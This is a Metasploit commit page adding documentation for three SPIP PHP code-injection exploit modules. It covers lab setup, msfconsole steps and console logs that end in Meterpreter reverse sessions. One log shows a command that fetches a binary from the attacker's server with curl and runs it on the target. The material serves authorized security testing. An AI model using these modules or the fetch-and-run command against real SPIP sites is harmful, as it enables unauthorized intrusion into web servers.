Skip to content

Commit 9de9b52

Browse files
dwelch-r7dwelch-r7
authored
Land rapid7#19432, Refactoring SPIP Modules for Windows Compatibility and Incorporating SPIP Mixin
2 parents 85f344a + af5c7ec commit 9de9b52

File tree

9 files changed

+577
-382
lines changed

9 files changed

+577
-382
lines changed

‎documentation/modules/exploit/multi/http/spip_connect_exec.md

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
## Vulnerable Application
2+
3+
This module exploits a PHP code injection vulnerability in SPIP.
4+
The vulnerability exists in the `connect` parameter, allowing an unauthenticated
5+
user to execute arbitrary commands with web user privileges.
6+
Branches 2.0, 2.1, and 3 are affected.
7+
Vulnerable versions are < 2.0.21, < 2.1.16, and < 3.0.3.
8+
This module is compatible with both Unix/Linux and Windows platforms, and has been successfully tested on SPIP 2.0.11 and SPIP 2.0.20
9+
on Apache running on Ubuntu, Fedora, and Windows Server.
10+
11+
## Setup
12+
13+
On Ubuntu 20.04, download a vulnerable instance of SPIP:
14+
15+
```
16+
wget https://files.spip.net/spip/archives/SPIP-v2-0-0.zip
17+
```
18+
19+
Unzip it to a specific folder:
20+
21+
```
22+
mkdir spip-site
23+
cp SPIP-v2-0-0.zip spip-site/
24+
cd spip-site/
25+
unzip SPIP-v2-0-0.zip
26+
```
27+
28+
Install PHP 5.6 and the necessary extensions:
29+
30+
1. Add the PPA for PHP 5.6:
31+
32+
```
33+
sudo add-apt-repository ppa:ondrej/php
34+
sudo apt-get update
35+
```
36+
37+
2. Install PHP 5.6 with SQLite extensions:
38+
39+
```
40+
sudo apt-get install php5.6 php5.6-sqlite php5.6-sqlite3
41+
```
42+
43+
3. Enable the required extensions in the PHP configuration file:
44+
45+
Open the PHP INI file for CLI:
46+
47+
```
48+
sudo nano /etc/php/5.6/cli/php.ini
49+
```
50+
51+
Add or uncomment the following lines:
52+
53+
```
54+
extension=sqlite3.so
55+
extension=pdo_sqlite.so
56+
```
57+
58+
Serve the application (while in the newly created spip-site directory):
59+
60+
```
61+
php5.6 -S 127.0.0.1:8000
62+
```
63+
64+
Navigate to the following URL, select `sqlite` for the database, and complete the installation:
65+
66+
```
67+
http://127.0.0.1:8000/ecrire/
68+
```
69+
70+
## Verification Steps
71+
72+
1. Start msfconsole
73+
2. Do: `use exploit/multi/http/spip_connect_exec`
74+
3. Do: `set RHOSTS [IP]`
75+
4. Do: `set LHOST [IP]`
76+
5. Do: `exploit`
77+
78+
## Options
79+
80+
No options
81+
82+
## Targets
83+
84+
### 0 (PHP In-Memory)
85+
86+
This uses an in-memory PHP payload to execute code.
87+
88+
### 1 (Unix/Linux Command Shell)
89+
90+
This executes a Unix or Linux command.
91+
92+
### 2 (Windows Command Shell)
93+
94+
This executes a Windows command.
95+
96+
## Scenarios
97+
98+
### SPIP 2.0.0 - Linux target - PHP In-Memory
99+
100+
```
101+
msf6 exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/
102+
103+
[*] Started reverse TCP handler on 192.168.1.36:4444
104+
[*] Running automatic check ("set AutoCheck false" to disable)
105+
[*] SPIP Version detected: 2.0.0
106+
[+] The target appears to be vulnerable.
107+
[*] 192.168.1.36:8000 - Attempting to exploit...
108+
[*] Sending stage (39927 bytes) to 192.168.1.36
109+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 192.168.1.36:47020) at 2024-08-22 19:19:00 +0200
110+
111+
meterpreter > sysinfo
112+
Computer : linux
113+
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
114+
Meterpreter : php/linux
115+
meterpreter >
116+
```
117+
118+
### SPIP 2.0.0 - Unix/Linux Command Shell
119+
120+
```
121+
msf6 exploit(multi/http/spip_connect_exec) > run http://192.168.1.36:8000/
122+
123+
[*] Started reverse TCP handler on 192.168.1.36:4444
124+
[*] Running automatic check ("set AutoCheck false" to disable)
125+
[*] SPIP Version detected: 2.0.0
126+
[+] The target appears to be vulnerable.
127+
[*] 192.168.1.36:8000 - Attempting to exploit...
128+
[*] Sending stage (3045380 bytes) to 192.168.1.36
129+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:32794) at 2024-08-22 19:20:41 +0200
130+
131+
meterpreter > sysinfo
132+
Computer : 192.168.1.36
133+
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
134+
Architecture : x64
135+
BuildTuple : x86_64-linux-musl
136+
Meterpreter : x64/linux
137+
meterpreter >
138+
```
139+
140+
### SPIP 2.0.0 - Windows Command Shell
141+
142+
```
143+
Somehow, I was unable to obtain a remote code execution (RCE) on my lab environment using the Windows Command Shell target.
144+
However, based on the exploit's design and its success on other platforms, it is expected to work.
145+
The issue might be specific to my lab setup.
146+
```

‎documentation/modules/exploit/multi/http/spip_porte_plume_previsu_rce.md

Lines changed: 19 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -121,40 +121,51 @@ exploit
121121
With `php/meterpreter/reverse_tcp`:
122122

123123
```
124-
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
124+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
125125
126126
[*] Started reverse TCP handler on 192.168.1.36:4444
127127
[*] Running automatic check ("set AutoCheck false" to disable)
128128
[*] SPIP Version detected: 4.2.12
129-
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
129+
[+] SPIP version 4.2.12 is vulnerable.
130+
[*] Porte plume plugin version detected: 3.1.5
131+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.12) and bigup version (3.1.5) are vulnerable.
130132
[*] Preparing to send exploit payload to the target...
131133
[*] Sending exploit payload to the target...
132134
[*] Sending stage (39927 bytes) to 192.168.1.36
133-
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 192.168.1.36:56534) at 2024-08-19 19:43:18 +0200
135+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.36:43974) at 2024-09-08 06:46:50 +0200
134136
135137
meterpreter > sysinfo
136138
Computer : linux
137-
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
139+
OS : Linux linux 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
138140
Meterpreter : php/linux
139141
```
140142

141143
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
142144

143145
```
144-
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > exploit rhosts=127.0.0.1 rport=8000
146+
msf6 exploit(multi/http/spip_porte_plume_previsu_rce) > run http://127.0.0.1:8000
145147
148+
[*] Command to run on remote host: curl -so ./gYBuGbOLFH http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./gYBuGbOLFH; ./gYBuGbOLFH &
149+
[*] Fetch handler listening on 192.168.1.36:8080
150+
[*] HTTP server started
151+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
146152
[*] Started reverse TCP handler on 192.168.1.36:4444
147153
[*] Running automatic check ("set AutoCheck false" to disable)
148154
[*] SPIP Version detected: 4.2.12
149-
[+] The target appears to be vulnerable. The detected SPIP version (4.2.12) is vulnerable.
155+
[+] SPIP version 4.2.12 is vulnerable.
156+
[*] Porte plume plugin version detected: 3.1.5
157+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.2.12) and bigup version (3.1.5) are vulnerable.
150158
[*] Preparing to send exploit payload to the target...
151159
[*] Sending exploit payload to the target...
160+
[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA
161+
[*] Sending payload to 192.168.1.36 (curl/7.81.0)
162+
[*] Transmitting intermediate stager...(126 bytes)
152163
[*] Sending stage (3045380 bytes) to 192.168.1.36
153-
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.36:59106) at 2024-08-19 19:44:40 +0200
164+
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.36:60244) at 2024-09-08 06:47:47 +0200
154165
155166
meterpreter > sysinfo
156167
Computer : 192.168.1.36
157-
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
168+
OS : LinuxMint 21.3 (Linux 5.15.0-119-generic)
158169
Architecture : x64
159170
BuildTuple : x86_64-linux-musl
160171
Meterpreter : x64/linux

‎documentation/modules/exploit/multi/http/spip_rce_form.md

Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
## Vulnerable Application
2+
3+
This module exploits a PHP code injection in SPIP. The vulnerability exists in
4+
the `oubli` parameter and allows an unauthenticated user to execute arbitrary
5+
commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are
6+
concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.
7+
8+
The module's `check` method attempts to obtain the SPIP version via a simple HTTP GET request to `/spip.php`
9+
page and fingerprints it either via the `generator` meta tag, or by the
10+
`Composed-By` header.
11+
12+
This module has been successfully tested against SPIP version 4.0.0.
13+
14+
## Setup
15+
16+
On Ubuntu 20.04, download a vulnerable instance of SPIP:
17+
18+
```
19+
wget https://files.spip.net/spip/archives/spip-v4.2.0.zip
20+
```
21+
22+
Unzip it to a specific folder:
23+
24+
```
25+
mkdir spip-site
26+
cp spip-v4.2.0.zip spip-site/
27+
cd spip-site /
28+
unzip spip-v4.2.0.zip
29+
```
30+
31+
Install php and the necessary extensions:
32+
33+
```
34+
sudo apt install -y php-xml php-zip php-sqlite3
35+
```
36+
37+
Serve the application (while in the newly created spip-site directory):
38+
39+
```
40+
php -S 127.0.0.1:8000
41+
```
42+
43+
Navigate to the following URL, select `sqlite` for the database, and complete the installation:
44+
45+
```
46+
http://127.0.0.1:8000/ecrire/
47+
```
48+
49+
## Verification Steps
50+
51+
1. Start msfconsole
52+
2. Do: `use exploit/multi/http/spip_rce_form`
53+
3. Do: `set RHOSTS [IP]`
54+
4. Do: `set LHOST [IP]`
55+
5. Do: `exploit`
56+
57+
## Options
58+
59+
No options
60+
61+
## Targets
62+
63+
### 0 (PHP In-Memory)
64+
65+
This uses an in-memory PHP payload to execute code.
66+
67+
### 1 (Unix/Linux Command Shell)
68+
69+
This executes a Unix or Linux command.
70+
71+
### 2 (Windows Command Shell)
72+
73+
This executes a Windows command.
74+
75+
## Scenarios
76+
### SPIP 4.2.0 - Linux target - PHP In-Memory
77+
```
78+
msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000
79+
80+
[*] Started reverse TCP handler on 192.168.1.36:4444
81+
[*] Running automatic check ("set AutoCheck false" to disable)
82+
[*] SPIP Version detected: 4.2.0
83+
[+] The target appears to be vulnerable.
84+
[*] Got anti-csrf token: ZHsLFRQTGY9p0wCEbpT7JK7YhYzOupYuxRemHQ1KrmNOIonsgMLbNrmlewZfSwqzqLwjMMOcYBE5vNpVUt42LFLfKdJC9p94qg==
85+
[*] 127.0.0.1:8000 - Attempting to exploit...
86+
[*] Sending stage (39927 bytes) to 192.168.1.36
87+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.36:36488) at 2024-08-22 15:01:39 +0200
88+
89+
meterpreter > sysinfo
90+
Computer : linux
91+
OS : Linux linux 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
92+
Meterpreter : php/linux
93+
meterpreter >
94+
```
95+
96+
### SPIP 4.2.0 - Unix/Linux Command Shell
97+
98+
```
99+
msf6 exploit(multi/http/spip_rce_form) > run http://127.0.0.1:8000
100+
101+
[*] Started reverse TCP handler on 192.168.1.36:4444
102+
[*] Running automatic check ("set AutoCheck false" to disable)
103+
[*] SPIP Version detected: 4.2.0
104+
[+] The target appears to be vulnerable.
105+
[*] Got anti-csrf token: ZHsLFRQTGY9p0wCEbpT7JK7YhYzOupYuxRemHQ1KrmNOIonsgMLbNrmlewZfSwqzqLwjMMOcYBE5vNpVUt42LFLfKdJC9p94qg==
106+
[*] 127.0.0.1:8000 - Attempting to exploit...
107+
[*] Sending stage (3045380 bytes) to 192.168.1.36
108+
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.36:46044) at 2024-08-22 15:03:31 +0200
109+
110+
meterpreter > sysinfo
111+
Computer : 192.168.1.36
112+
OS : LinuxMint 21.3 (Linux 5.15.0-113-generic)
113+
Architecture : x64
114+
BuildTuple : x86_64-linux-musl
115+
Meterpreter : x64/linux
116+
meterpreter >
117+
```
118+
119+
### SPIP 4.2.0 - Windows Command Shell
120+
121+
```
122+
msf6 exploit(multi/http/spip_rce_form) > run http://192.168.1.48
123+
124+
[*] Started reverse TCP handler on 192.168.1.36:4444
125+
[*] Running automatic check ("set AutoCheck false" to disable)
126+
[*] SPIP Version detected: 4.2.0
127+
[+] The target appears to be vulnerable.
128+
[*] Got anti-csrf token: Z1kE0G5FLDrWkF9cvFp5ZuEKbtEjqIxoWTXL9HxYFP/xXeUohvYklG+kfLo32Cas24teZEJVX4e10CE5HEAjZ4HpM7VAUZoh
129+
[*] 192.168.1.48:80 - Attempting to exploit...
130+
[*] Sending stage (201798 bytes) to 192.168.1.48
131+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 192.168.1.48:50092) at 2024-08-22 14:59:16 +0200
132+
133+
meterpreter > sysinfo
134+
Computer : DESKTOP-NHU31ET
135+
OS : Windows 10 (10.0 Build 19045).
136+
Architecture : x64
137+
System Language : fr_FR
138+
Domain : WORKGROUP
139+
Logged On Users : 2
140+
Meterpreter : x64/windows
141+
meterpreter >
142+
```

0 commit comments

Comments
 (0)